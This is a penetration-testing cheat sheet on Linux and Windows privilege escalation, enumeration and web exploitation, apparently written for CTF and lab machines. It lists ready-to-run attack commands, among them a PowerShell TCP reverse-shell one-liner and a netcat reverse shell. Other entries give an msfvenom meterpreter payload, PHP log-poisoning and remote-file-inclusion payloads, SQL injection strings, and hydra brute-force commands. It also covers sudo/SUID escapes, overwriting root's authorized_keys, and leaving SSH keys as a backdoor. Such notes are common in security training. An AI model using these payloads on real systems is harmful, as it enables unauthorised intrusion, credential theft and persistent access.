Linux | Windows Privilege Escalation Cheat Sheet

by blacklist_ via cheatography.com/121658/cs/22362/

HTTP Status Codes

Code (Gobuster)	Status
2XX	ϟ Success ϟ This class of status codes indicates the action requested by the client was received, understood and accepted.
3XX	ϟ Redirection ϟ This class of status code indicates the client must take additional action to complete the request.
4XX	ϟ Client Error ϟ This class of status code is intended for situations in which the error seems to have been caused by the client.
5xx	ϟ Server Error

https://www.restapitutorial.com/httpstatuscodes.html

Cyber Kill Chain

Usage	Syntax
View Source Code	Read it (enumeration/directory) {{fa-bolt}} Read hints Carefully and use find and locate command
Gobuster	Dirb buster
Nmap Scan	-A (aggressive) -p- (all ports)
Steganography	https://0xrick.github.io/lists/stego/

Cyber Kill Chain (cont)

Ftp	Penetration testing of ftp port. ϟ It can be brute forced using hydra. ϟ ftp <ipaddr> to connect and <get> files.
Think like an hacker	What can i do from here ϟ Where can i look (any hints given)
Common Username/Password	admin:admin admin:admin123 admin:password root:password root:root and admin:fileserver
Web shell	ϟ Provides us to enable with remote administration on the target server ϟ We can add or modify some data (deface it) as a webadmin. So after we get the web site admin access, our aim is to get web server access.

Cyber Kill Chain (cont)

Information Gathering	ϟ Search the website if it has blog post with names that can be used. Try to gather information and think how it can be used ϟ Try to think if you require a email what info can be used to fetch a name or format on how email is being used such as using initals@domain_name
Directory Enumeration Wordlists	ϟ Dirbuster medium ϟ Dirb common ϟ rockyou
Steghide and Binwalk	Binwalk is used on png and Steghide is used on jpg A png image can be used to hide binary files like zip whereas jpg image can be used to hide a text file
Identify hash	hashid 'hash' and ciphey tool
Terminate hashcat session	`rm -rf ~/.has hca t/s ess ion s/h ash - cat.pid`
Nmap script scans	nmap -sV -A --script vuln <ip>
JWT CRACK	hashcat -a 0 -m 16500 crack.txt /rockyou
HTTP running	ϟ dirb ϟ try HTTPS//<ip> ϟ robots.txt ϟ Page source

Cyber Kill Chain (cont)

Wordpress	ϟ https://www.hackingarticles.in/wpscanwordpress-pentesting-framework/ ϟ https://blog.wpscan.org/assets/posts/wpscan-posters/WPScan_CLI_Cheat_Sheet.pdf
Wordpress - get reverse shell	ϟ Username enumeration ϟ Brute force Password ϟ Login and upload shell to get session ϟ To upload PHP shell either upload it as a PLUGIN or Edit Theme, exploitDB - PHP plugin , MSF - PHP/reverse_tcp and PHP reverse shell can be uploaded ϟ https://www.hackingarticles.in/wordpress-reverse-shell/

Cyber Kill Chain (cont)

File Upload Bypass & Pentest Monkey Shell	Intercept request > play with it and check response is highly important Collection of Web-Shells Guides - Hacktricks bypass file upload & Hacker's Grimoire Book We can use hacktricks, first try out every single extensions and then try double extensions. Or use Burp Suite to bruteforce
Bypass File Upload	Download PHP pentest monkey rev shell rev shell with GIF89a on top Now change extension Upload it but wont execute Now upload again and intercept Intercept through Burp Edit the request and change that file to .gif.php Done just execute the shell through PATH Use nc to capture the connection

Cyber Kill Chain (cont)

Spot DBus in SUID files	Execute this command to replace replace current user .ssh private ket to root .ssh private key so we can login in ssh as root gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/authorized_keys /root/.ssh/authorized_keys true If we get ( ) as reply, it executed system call
DBus	dbus is message bus system for usb controller basically send message of buses from one bus to another If current user has SUID on DBUS it means that they have executable rights over that command

Cyber Kill Chain (cont)

Bruteforce vhosts / subdomains using FFUF	ϟ ffuf -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://undiscovered.thm/ -H "Host: FUZZ.undiscovered.thm" -fc 302 ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u http://delivery.htb/ -H "Host: FUZZ.delivery.htb" -fw 486 ϟ Wc is to filter with word. To learn more visit FFUF Fuzzing Filtering
Bruteforcing directory along with extensions	gobuster dir -u <ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 42 -x .bak,.php

Cyber Kill Chain (cont)

Fuzzing vs Bruteforce	ϟ Brute forcing is an attack method of just trying all passwords, in a password brute force anyway. Fuzzing is a method of sending malformed or abnormal data to a service in an attempt to get it to misbehave in some way, which could lead to the discovery of vulnerabilities from denial of service, buffer overflows or remote code execution etc. FUZZ can be done for subdomains too, and sending payloads to find LFI or RCE etc..

Linux Escalation Techniques -> http://xiphiasilver.net/2018/04/26/annotation-abusing-sudo-linux-privilege-escalation/#disqus_thread

Web enumeration -> https://berzerk0.github.io/GitPage/CTF-Writeups/Optimum-HTB.html

Cyber Kill Chain (Windows)

Usage	Syntax

Cyber Kill Chain (Windows) (cont)

Nmap -> Service Enumeration	The services running helps us in identifying our next steps ↯ Kerberos was running on port 88 so we could launch a Kerberos pre authentication attack ↯ If many services are running try enum4linux ↯ Website upload shell and access it
nmap -sV --script=nfs-showmount <target>	↯ Nmap script scan and Nmap scan ↯ 2049 (port no)
NFS (mount the drive to access it)	↯ Network File System permits a user on a client machine to mount the shared files or directories over a network. ↯ showmount -e <target>
Mount the content of shared folder -t (type) nfs/iso	mount -t nfs ip:/drive_name /mnt/folder_name ↯ There is a possibility to access the root folder by :/ and then navigate to other folder such as root ↯ There is a way to detach a busy device immediately #umount -l and then delete the contents

Cyber Kill Chain (Windows) (cont)

Google where does CMS (umbraco) store credentials	↯ Appdata/.sdf file extension normally contain standard database files that store data in a structured file format. ↯ cat Umbraco.sdf | grep admin
Hashcat to crack password hash	↯ hashcat -a 0 -m 100 crack.hash /usr/share/wordlists/rockyou.txt
Whenever you get interface try to find upload panel	↯ Upload reverse shell then browse the directory to execute it on the remote machine to get a reverse shell
Windows reverse shell payload	↯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.89 LPORT=4455 -f exe > blacklist.exe ↯ Upload it
C:/Inetpub (cve browse to access payoad) 'ls C:/'	↯ Inetpub is the folder on a computer that is the default folder for Microsoft Internet Information Services (IIS). The website content and web apps are stored in the inetpub folder — which keeps it organized and secure.

Cyber Kill Chain (Windows) (cont)	
Access the payload	ϟ python exploit.py -u admin@htb.local -p bacona-ndcheese -i 'http://10.10.10.180' -c powershell.exe -a 'C:/inetpub/wwwroot/media/1034/blacklist.exe'
Listen for connection	ϟ use exploit/multi/handler ϟ set payload payload/windows/x64/shell_reve-rse_tcp
Upload Winpeas and access using CVE	ϟ Privilege Escalation Awesome Scripts
winPEAS	ϟ Application area we can see Teamviewer and check it using shell ϟ Use metasploit to gain access to credentials ϟ s run post/windows/gather/credentials/teamvie-wer_passwords
Evil-Winrm : Winrm Pentesting Framework	ϟ PS Remote shell hacking tool named as “Evil--Winrm”. So we can say that it could be used in a post-exploitation hacking/pentesting phase. ϟ The purpose of this program is to provide nice and easy-to-use features for hacking.

Cyber Kill Chain (Windows) (cont)	
Evil Winrm	evil-winrm -u Administrator -p '!R3m0te!' -i '10.10.10.180'
Enum4linux	ϟ Enum4linux is an enumeration tool capable of detecting and extracting data from Windows and Linux operating systems, including those that are Samba (SMB) hosts on a network. Enum4linux is capable of discovering the following: Password policies on a target, The operating system of a remote target, Shares on a device (drives and folders), Domain and group membership, User listings
GetNPUUser (impacket script)	ϟ getnpuusers.py <domain_name>/ -dc-ip <ip> ϟ getNPUusers.py - Get users password hashes, Supported in Kerberos protocol, Disable Kerberos pre-auth it becomes vulnerable, username and password are optional, Use this script to identify vulnerable accounts

Cyber Kill Chain (Windows) (cont)

Domain Controller , Active Directory	ϟ A Windows Domain allows management of large computer networks ϟ They use a Windows server called a DC (domain controller) ϟ A DC is any server that has Active Directory domain services role ϟ DC respond to authentication requests across the domain ϟ DCs have the tool AD (active directory) and GP (group policy) ϟ AD contains objects and OUs (Organizational Units) ϟ GP contains GPOs (Group Policy objects) that manage settings for AD objects
Kerberos Cheatsheet	https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
SMB (netbios-sn)	SMB ports are open. We need to do the usual tasks: check for anonymous login, list shares and check permissions on shares. ϟ

Cyber Kill Chain (Windows) (cont)

SMB enumeration	smbclient -L ip and access smbclient //192.168.1.108/share_name
Notes in Kali	Windows Priv. Esc.

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

https://book.hacktricks.xyz/windows/active-directory-methodology

Reverse Shell & Exploitation Techniques

Usage	Syntax
Linux privilege cheatsheet	ϟ https://guide.offsecnewbie.com/privilege-escalation/linux-pe#cron-jobs ϟ Hack tricks ϟ Hacking articles
OSCP Cheatsheet	https://liodeus.github.io/2020/09/18/OSCP-personal-cheatsheet.html https://vulp3cula.gitbook.io/hackers-grimoire/
Linpeas, Linenum, Linux exploit suggestor	ϟ Linpeas - Hacktricks checklist ϟ SUID command - find / -perm -u=s -type f 2>/dev/null ϟ Sudo -l ϟ Cron jobs cat /etc/crontab
Netcat	nc -e /bin/sh <ipadd> <port> (target)
	nc -lvp <port> (host)

Linux | Windows Privilege Escalation Cheat Sheet

by blacklist_ via cheatography.com/121658/cs/22362/

Reverse Shell & Exploitation Techniques (cont)

msfconsole | Cheatsheet	Power up metasploit Metasploit Cheatsheet Github Reverse shell msfconsole
use exploit/<path>	specify exploit to use
show options	set the specific options
show target (set target no)	set the specific target like power shell, PHP, python
connect to rdp service using rdp client Windows	3389:RDP start Remmina to access then enter ip address then enter username,domain and password
Linux Privilege Escalation	
SUID binary	find / -perm -u=s -type f 2>/dev/null If you want to escalate privilege to another user search files that user owns there might be a cronjob that executes his file and we can place reverse shell find / -type d -group <user_name> 2>/dev/null/
CronJobs	Trasnfer pspy64 through python server to find cronjobs

Reverse Shell & Exploitation Techniques (cont)

Sudo -l	It show you what exact command you are authorized to use
Suid binary Automation Script	SUID3NUM.py Custom binary can be opened by reversing them using Ghidra
Add machine IP to /etc/hosts	echo 10.10.194.183 spookysec.local >> /etc/hosts
Cron Jobs (time--based job scheduler)	Mostly we try to add our reverse shell into the file and CRON jobs executes the files and we get the reverse shell We can even try to change etc/hosts if the cron is calling out to that IP we can change it and open a HTTP server on out machine and let him execute the script with our own reverse shell
Exploiting sudo -l	commands - /var/www/gdb as www-data escalate privilege to a user thirtytwo then use GTFO sudo -u thirtytwo /var/www/gdb -nx -ex '!sh' -ex quit

Reverse Shell & Exploitation Techniques (cont)

Exploiting sudo -l	ϟ (d4rckh) No paaswd: /usr/bit/git ϟ We have a user who can exec commands on that path ϟ execute command to escalate ϟ sudo -u d4rckh /usr/bin/git -p help config ϟ !/bin/sh
Escalate privilege via cronjob of a python script	ϟ https://blog.razrsec.uk/tryhackme-tartarus/
Exploiting SUID	ϟ Find command which have SUID bit set which means we can run find as root user. Using -exec flag as shown above. Let's try out by changing the permission of root directory. ϟ $ find . -exec chmod 777 /root \;

Reverse Shell & Exploitation Techniques (cont)

Su VS Sudo	ϟ Su is Permanent privilege escalation (su): It can be used to switch user accounts in the command line mode. ϟ Sudo is Temporary privilege escalation (sudo): Switch the current user to the super user, then execute the command as the super user, and return to the current user directly after the execution is completed. Sudo-Su-Working
Privilege escalation 2 ways	ϟ Privilege escalation using capabilities ϟ IPrivilege escalation using Python Library hijack

Upload tools and stuff - https://prune2000.github.io/post/upload-tools/

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Windows cmd commands

Discover users	ϟ net user
Read text file	ϟ type root.txt
list directory content	ϟ dir
Change directory	ϟ cd
Read file permission and owner	ϟ Right click > Properties > Details > Owner ϟ Goto security tab > edit permission > Add > enter the name of user you want to give permission

Linux | Windows Privilege Escalation Cheat Sheet

by blacklist_ via cheatography.com/121658/cs/22362/

Windows cmd commands (cont)

Upgrade Command Shell to Meterpreter	sessions -u <no> or use use post/multi/manage/shell_to_meterpreter
Metasploit get hashes of users	hashdump

Linux Directory Structure

Directory Name	Usage
When basic priv esc doesnt work search these directories for Juice	/opt & /var -> www & log & backups. Make sure you review Linpeas properly such as Readable files belonging to root and readable by me but not world readable
/opt	/opt is a directory for installing unbundled packages (i.e. packages not part of the Operating System distribution, but provided by an independent source), each one in its own subdirectory. Sometimes, we can find config files over here, having credentials. Thus its a Installed software locations, other dir. are /usr/local.
/var	/var contains things that are prone to change, such as websites, temporary files, config and databases.

Linux Directory Structure (cont)

/bin (system commands)	/bin contains executables which are required by the system for emergency repairs, booting, and single user mode. /usr/bin contains any binaries that aren't required.
/usr/bin (executable commands)	This is the primary directory of executable commands on the system.
/etc	lookout for logs, backups, config files

OWASP TOP 10 and others

Vulnerability - along with its mitigation	Hunt down
SQL injection	test' or 1=1; -- ' is used to close the query, ; is used to terminate, -- is used to comment out rest For example ' --, creating a new account blacklist' -- then can alter the query

OWASP TOP 10 and others (cont)

Second-order-SQL	↯ What happens is there is a query like ↯ UPDATE users set password="new pass" where username="blacklist ' --" and password="this is for current password" ↯ Now when we use this query after -- becomes just a comment which have no use now and it will directly changed the pass of old user
SQL Mitigation	↯ Parameterized Statements: Don't put the input variable directly into SQL statement, parse it separately ↯ Vulnerable : "Select * From users WHERE email = "" + email + ""; ↯ Sanitizing inputs
SSRF	
LFI / RFI	
S3 bucket	
IDOR	

Enumeration Checklist

Usage	Syntax

Enumeration Checklist (cont)

Attention to detail	Is something wrong like text at the end Everything makes sense like password Lookout for possible usernames, directory, information Focus should also be on understanding application you are enumerating and its working and what is going on Connect the Dots like telnet might be running an .exe which is vulnerable to BoF
Starting Enumeration	↯ ifconfig ↯ Host discovery : nmap -sn <ip>/24 ↯ Explore each service running and grab banners using netcat : nc -nv <ip> <port> ↯ Finding if the service has any version based vulnerability or not via google and searchsploit ↯ What do we have and what can be done ? like we might have a directory already which can be further /-FUZZ- ↯ Pentest <service> hacktricks / hackingarticles

Enumeration Checklist (cont)

HTTP / HTTPS 80 & 443	ϟ https ϟ robots.txt /* ϟ source code review ϟ directory enum ϟ vulnerability like LFI , SQL. Every vulnerability has its indicators ϟ extension check ϟ Double /-FUZZ- on paths and parameter ϟ Play with Burp, request to understand application flow && Play with headers, x-forwarded-for can be used to bypass rate limit or IP ban
More Port 80 / HTTPS checklist	ϟ is it a CMS ϟ Nikto for web vulnerability scanning ϟ Discover if website /index.php or /index.html ϟ Id in URL - FUZZING can lead to dir. traversal or LFI ϟ If given domain name try bruteforce subdomains / vhosts ϟ Wildguess : If there are 2 http ports open, one service might impact other, or leak information. ϟ Login Form : Hunt for username, brute-force, SQL injection bypass on both User & Pass Parameter = admin' OR '1'='1';--+

Enumeration Checklist (cont)

FTP	ϟ Anonymous login ϟ brute force ϟ CVE cd... ϟ dir use it returns a full directory listing whereas the ls -al returns hidden and simplified directory listing. ϟ Google Version for exploits or vulnerability PUT command files on the server and http server to trigger ϟ After login, which directory you are currently in , are the files owned by root? Try cd ..
CMS	ϟ Hunt for admin panel ϟ Login Panel - Default creds for that service & small brute-force for common creds test ϟ Aim for Usernames and Password ϟ Always read source, https , robots and dirb ϟ Always study that CMS like upload path and other important directory names ϟ FUZZ for subdomains via ffuf ϟ Hunt CMS Version & Search for Exploit / Vulnerability for that version

Enumeration Checklist (cont)

Directory Enumeration	ϟ gobuster dir -u http://10.10.97.63/ -w /usr/share/wordlists/raft-large-directories-lowercase.txt -t 40 -x php,bak,txt ϟ Always use raft and 2.3 medium wordlist for bruteforce. Remember to specify extension check. ϟ /example/{{fuzz}} : Remember to FUZZ double/directory too.
Service Enumeration	ϟ Enumerate the service ϟ Find login page like directory path for that service ϟ like where is the login page located ϟ Checkout Youtube and others for exploiting that service
Enumeration tip	ϟ after getting shell as www - data always check /var/www and save current user private key /home/paul/.ssh/id_rsa and we might be able to login as another user directly

Enumeration Checklist (cont)

HTTP Directory Enumeration	ϟ 3 Wordlists - common.txt, dirbuster/directory-list-2.3-medium.txt, seclists/raft-large-directories-lowercase.txt ϟ dirsearch -u 10.0.2.19 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e * -t 50
Database Penetration Testing (SqlMap)	ϟ Always lookout for an id in the URL, vulnerable to SQL. which might be using a database ϟ sqlmap -u "http://10.0.2.6:8080/mercuryfacts/1" --dbs --batch ϟ Guide-sqlmap Enumerate login forms, id value, parameters for SQL vulnerability via burp request or sqlmap
Upgrading a Simple Shells to Fully Interactive (TTY)	`python -c 'import pty; pty.sp awn -("/b in/ sh")'`
Enumeration Scripts	LinEnum, Linpeas, LES , pspy64 or pspy32
	Linux exploit suggestor
Netstat on the victim machine	ϟ To view incoming and outgoing connection and might find a port not coming up in scan ϟ netstat -tulpn

Enumeration Checklist (cont)

Sqlmap to perform enumeration (Banner Grabbing)	Capture burp request and test it on Login forms Command: sqlmap -r .txt file_name --dbs
SQL - important files (hacktricks), cleartext .mysql_history in /home dir	The output comes up with the list of databases in the remote server. https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
Cipher Identifier and Analyzer	https://www.boxentriq.com/code-breaking/cipher-identifier
Password Hash Cracker	https://crackstation.net/
Vigenere cipher (Long text vulnerable)	https://www.guballa.de/vigenere-solver
All in one Decoder	https://gchq.github.io/CyberChef/
Cipher and Hash identification	https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html ASCII RANGE 60-120,ABC HEX 41 42 Decimal and Binary Base64 number and upper and lower case MD5 lower case numbers and 32 in length
Find files with common extension	find / -name *.txt 2>/dev/null

Enumeration Checklist (cont)

Hashcat	The crypt formats all have a prefix 1 is md5crypt, 2 is bcrypt, 5 is sha256crypt, 6 is sha512crypt Ciphey tool and hashcat wiki
Etc/Shadow File	Understanding the /etc/shadow File https://linuxize.com/post/etc-shadow-file/
THM Cryptography Room - RSA tool	link text PGP stands for Pretty Good Privacy. It's a software that implements encryption for encrypting files, performing digital signing and more. and Similarly we have GPG open source and you can decrypt a file using gpg
Another tip for service enum	Most of privilege escalation to users after www-data is through hash or some given pass, enumerate files of that service like where is the database files stored inside this service or where is the users info stored in that service

Enumeration Checklist (cont)

Copy all files into a single file	cat * > blacklist.txt
LFI / RFI Final Cheat sheet, Detailed Attack Vectors	Cheatsheet File Inclusion Attacks
File Inclusion / Directory traversal Payload all the Things	File Inclusion Hacktricks

Enumeration Checklist (cont)

File Inclusions Attacks

To expand, in an RFI attack, a hacker employs a script to include a remotely hosted file on the webserver. In an LFI attack, a hacker uses local files to execute a malicious script. For LFI, it is possible for a hacker to only use a web browser to carry out the attack.

On the other hand, Local File Inclusion (LFI) is very much similar to RFI. The only difference being that in LFI, in order to carry out the attack instead of including remote files, the attacker has to use local files i.e files on the current server can only be used to execute a malicious script. Since this form of vulnerability can be exploited with only using a web browser, LFI can easily lead to remote code execution by including a file containing attacker-controlled data such as the web server's access logs. like log posioning

Remote File Inclusion (RFI) is a method that allows an attacker to employ a script to include a remotely hosted file on the webserver. The vulnerability promoting RFI is largely found on websites running on PHP. This is because PHP supports the ability to 'include' or 'require' additional files within a script. The use of unvalidated user-supplied input within these scripts generally leads to the exploitation of this vulnerability.

Enumeration Checklist (cont)

LFI local file inclusion	ϟ If you find paramter /index.php?plot= ϟ Try Fuzzing manually or Burp. LFI (local file inclusion) is a vulnerability which an attacker can exploit to includ-e/read files. ϟ Therefore, whenever you see a PHP website try FUZZING as these are sometimes vulnerable to LFI or RFI + Use Directory Traversal

Enumeration Checklist (cont)

LFI vulnerability	ϟ Log Poisoning is a common technique used to gain a reverse shell from a LFI vulnerability. To make it work an attacker attempts to inject malicious input to the server log. ϟ add the "?page=" parameter and let's try reading the apache log file. The log file is located at the following path: /var/log/apache2/access.log ϟ Fire up Burpsuite and intercept the request and insert the following malicious code in the user agent field (The PHP command will allow us to execute system commands by parsing the input to a GET parameter called lfi) ϟ The link becomes: http://<IP>/lfi/lfi.php?page=/var/log/a-pache2/access.log&lfi= Now you can execute commands on the system!

Enumeration Checklist (cont)

Log poisoning attack vector through LFI is possible using Directory traversal and other ways like SMTP	↯ Forward the request and add your parameter to the link (in my case lfi). ↯ User-Agent: Mozilla/5.0 <?php system($_GET['lfi']); ?> Firefox/68.0 ↯ lfi.php?page=/var/log/apache2/access.log&lfi=cd /home;cd lfi/;cat flag.txt;ls -lap;uname -r;ls -la
RFI/LFI (by specifying path we can even read user and root flag if server is running with root permissions)	↯ Lookout for parameters and To put it another way. The page we're looking at is actually empty; however, it's including content from another page ↯ Local File Inclusions are when that input isn't properly sanitised, allowing us to manipulate the link to open other files. or incase of RFI we can supply an external URL and gain Shell

Enumeration Checklist (cont)

RFI	↯ http://example.com/?file=http://attacker.example.com/evil.php ↯ In this example, the malicious file is included and run with the privileges of the user who runs the web application. That allows an attacker to run any code they want on the web server. They can even gain a persistent presence on the web server.
Exploit SUID & Backdoor	↯ PATH of SUID binary and GTFO command together to gain root access ↯ ssh-keygen .ssh/auth-keys Leaving an SSH key in authorized_keys on a box can be a useful backdoor
Hash-id & Crack Hash online otherwise use hashcat or JTR	↯ MD5 Hashing ↯ Crack-Station

Linux | Windows Privilege Escalation Cheat Sheet

by blacklist_ via cheatography.com/121658/cs/22362/

Enumeration Checklist (cont)

Hydra crack login page	ϟ Provide full path like /index.php mostly otherwise it wont work ϟ When providing path test /index.php to identify PHP is running ϟ hydra 10.10.10.227 -l admin -P /usr/share/wordlists/rockyou.txt http-post-form '/admin/index.php:user=admin&pass=^PASS^:Username or password invalid' -f
Sudo gives you permission to execute Scripts	ϟ Remove that script and replace with a shell
Brute force after you get usernames or password list hint	ϟ hydra, if you get usernames
Port Knocking : If you see numbers as hint might be port knocking	ϟ Knock on the ports mentioned to open hidden ports ϟ for x in 1 3 5; do nmap -Pn --max-retries 0 -p $x 10.10.63.86; done ϟ nmap -r -p1,3,5 10.10.17.17
SQL & XSS Indicators	ϟ For XSS, target Text boxes and URL, XSS might also get triggered on another page, For SQL test URL like Id or login pages.

Enumeration Checklist (cont)

SMTP	ϟ Runs on Port 25, Nmap has scripts like --script smtp-commands && google search with hacktricks and hackingarticles for possible enumeration techniques ϟ Understand the difference
139 & 445 SMB , for more refer hacktricks	ϟ Check null session, Shares list , Enum4linux ϟ enum4linux -a 10.0.2.19 Smbclient -L <ip> to list shares && -N to force without password && smbclient //<ip>/<share-name>

Enumeration and Understanding of the scenario are very important aspects.
Think if you need something like credentials is there any way to access them from current options available.
CREDENTIALS

Linux Commands

Command Name	Syntax
Vim Text Editor	ϟ i for insert ϟ esc to exit insert ϟ :wq to quit and save :%d delete all lines
Hashcat (crack password hash)	ϟ hashcat -a 0 -m 500 hash /root/Downloads/rockyou.txt

Linux Commands (cont)

Transfer Files via Nc & Base64 (move files)	↯ On Victim : nc -nv 10.0.2.5 5555 < access.exe ↯ On Attacker : nc -nlvp 5555 > access.exe ↯ base64 <filename> ↯ Save the encoding in a file ↯ base64 -d <filename_base64_encoding>
Scp (secure copy files)	↯ Want to receive files from target ↯ scp username@remote:/file/to/send /where/to/put
Gobuster (dir buster)	↯ gobuster dir -u http://10.10.203.157:3333/ -w /usr/share/wordlists/dirb/common.txt
Processes running (under which user)	ps aux
SUID (set owner userId upon execution) binary	find / -perm -u=s -type f 2>/dev/null Instead of rwx -> rws. Example - the suid bit is set on binary file password as other user should be able to change their password but the user wont have direct access to that file So it has root privileges

Linux Commands (cont)

Burp Suite (check acceptable file ext)	By sending request to Intruder and then spider attack ↯ Check response length to verify if the extension is acceptable or not Python script by importing request library can also be used
Word count (count the no of lines in a file)	wc -l yourTextFile
Whatweb	whatweb <ip> The WhatWeb tool is used to identify different web technologies used by the website.
Fim (view images from terminal)	fim <image_name)
Curl (change user agent (browser type render content) and follow redirection)	curl -A "J" -L "http://10.10.231.116"
Python server to transfer files from remote to local	python3 -m http.server <port_no> and access using the ip of remote machin-e:port no
Python server to transfer files from local to remote	wget http://<ur-ip>:<port>/<file>
Extract zip	7z e <zip_name.zip>

Linux Commands (cont)

Crack Zip	locate zip2john zip2john <zipfile> > output.txt john output.txt fcrackzip -u backups.zip -D -p /usr/share/wordlists/rockyou.txt -v
Move multiple to directory	mv file1 file2 folder_name
Fuzz directory	wfuzz -c -w common.txt --sc 200 -u "http://10.10.10.19-1/FUZZ.txt" -t 100 wfuzz -z file,big.txt -d "breed=FUZZ" -u http://shibes.x-yz/api.php
Find flags .txt	find / -type f -name 'user.txt' 2>/dev/null
Hydra (brute force http post form)	hydra -L usernames.txt -P passwords.txt 192.168.2.62 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login Failed" Specify the error at login failed
Hydra (brute force FTP)	hydra -l ftpuser -P passlist ftp://10.10.50.55
FTP bruteforce	hydra -l chris -P /usr/share/wordlists/rockyou.txt -vV ftp://10.10.91.104

Linux Commands (cont)

POP3 bruteforce	hydra -l "boris" -P /usr/share/wordlists/fasttrack.txt -f 10.10.186.225 -s 55007 pop3 -V
John the ripper (crack ssh) VIA (private key pass bruteforce)	python /usr/share/john/ssh2john.py codes > crack.txt john --wordlist=/root/Downloads/rockyou.txt crack.txt
ssh (login through private key)	ssh -i codes david@10.10.10.165 -p 22
SSH bruteforce for password	hydra -f -l john -P list ssh://10.10.24.200
Bruteforce JPG for hidden data (steghide pass)	stegcracker file list.txt
TELNET interacting with POP3	Connect to the mail server using Telnet with the IP or DNS name of the server on port 110 TELNET commands
PNG magic number & Hexedit	89 50 4E 47 0D 0A 1A 0A hexedit <file> hexedit ctrl+x - to save
Mysql cheatsheet	MySQL Commands Use ; to terminate the mysql line
Find a specific file with readable permission	find / -type f -readable 2>/dev/null | grep README.txt

Linux Commands (cont)

Sudo -l execution	↯ (sly) /bin/cat /home/sly/README.txt ↯ sudo -u sly /bin/cat /home/sly/README.txt ↯ So you can see the user was able to execute that command. We have to use sudo specify <usr> <binary path> <file> to execute
Nmap scanning working	↯ if u do this nmap -sC -sV -Pn ip, you can see result if u do specifically -p 1-100, it will show their info, because they all are open
To only grab banners	↯ nmap -p 1-100 <IP> --script banner ↯ Telnet is communication tool, it gets the banner or the protocol info like if its http, it shows http info, if it is ssh, it shows ssh rsa info
Escape shells via progra-mming	↯ Escaping shell via programming like ruby irb(main)

https://mzfr.github.io/linux-priv-esc

https://linuxize.com/post/how-to-use-linux-ftp-command-to-transfer-files/

https://www.hostingmanual.net/zipping-unzipping-files-unix/

GTFOBins

Usage	Syntax
Vim Text Editor	https://gtfobins.github.io/gtfobins/vim/
Service Exploi-tation	↯ Exploiting any service which is running as root ↯ Also provide the file path to the service's executable
To exploit a service	Execute it for example <path_to_the_service>-> ↯ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.s-ervice ↯ You can get this from GTFObins but need to find out path
/systemctl (suid but set)	↯ service is an "high-level" command used for start, restart, stop and status services in different Unixes and Linuxes. ↯ Service is adequate for basic service management, while directly calling systemctl give greater control options. ↯ Our target system allows any logged in user to create a system service and run it as root!
Sudo -l	sudo -l show you what exact command you are authorized to use

GTFOBins (cont)

(ALL, !root) NOPASSWD: /usr/bin/vi	The !root is a cve vulnerability which can be exploited through ↯ sudo -u#-1 <path_where_user_can_execute_sudo_command>
If sudo - l specifies Vim	↯ Use esc and then :! as we are going to type a system command and then we specify executable sh (:!sh)

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

Windows Enumeration

Command	Usage
Biggest Enumeration Hint	↯ his is going to sound like.im being disingenuous, but you need to learn how to figure things out. Each machine might require a tool you haven't even heard of yet, but you have to figure that part out. Knowing what and how to Google is arguably the most valuable skill.
Hint - Users	↯ names are impotant! might be subdomain or read understand might be username passwd

Windows Enumeration (cont)

Hint - Finding the right file	↯ The service at the starting off the box can be later on checked for conf or file for username passwd
Github - working	↯ Create branch ↯ Now push file into that branch ↯ Click on the uploaded file and PULL request ↯ Complete pull request is same as Commit ↯ Approve and Complete the Merge
Active Directory	↯ TryHackMe Room ↯ A Windows Domain allows management of large computer networks ↯ They use a Windows server called a DC (domain controller) ↯ A DC is any server that has Active Directory domain services role ↯ DC respond to authentication requests across the domain ↯ DCs have the tool AD (active directory) and GP (group policy) ↯ AD contains objects and OUs (Organizational Units) ↯ GP contains GPOs (Group Policy objects) that manage settings for AD objects
Netbios port 137	↯ Hacktrick enumeration

Windows Enumeration (cont)

SMB port 139	ϟ smbclient -L <ip> - yields information such as sharename and its type
SVN PORT NO - 3690 and its simply Version Tracking With Subversion (SVN)	ϟ First view the log ϟ svn log svn://worker.htb/ ϟ Now you can view the difference between those commits ϟ svn diff svn://htb/ -r 2
Subversion Commands	http://www.yolinux.com/TUTORIALS/Subversion.html#SVNPROPERTIES
SVN	ϟ Subversion cannot find a proper .svn directory in there.
Reverse shells	https://hackersinterview.com/oscp/reverse-shell-one-liners-oscp-cheatsheet/

Windows Enumeration (cont)

Powershell reverse shell	powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.2',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 \| Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Windows interactive shell (ASPX Shell by LT)	https://github.com/xl7dev/WebShell/blob/master/Aspx/ASPX%20Shell.aspx

Windows Enumeration (cont)

Dumping passwords and hashes on windows	ϟ This most probably requires administrative permissions. Windows stores passwords in SAM - Security Account Manager. Passwords are stored differently depending on the operating system. ϟ There are 2 Authentication mechanism that produce 2 Hashes - LM LAN Manager (LM) and NT LAN Manager (NTLM) > VISTA. ϟ

Windows Enumeration (cont)

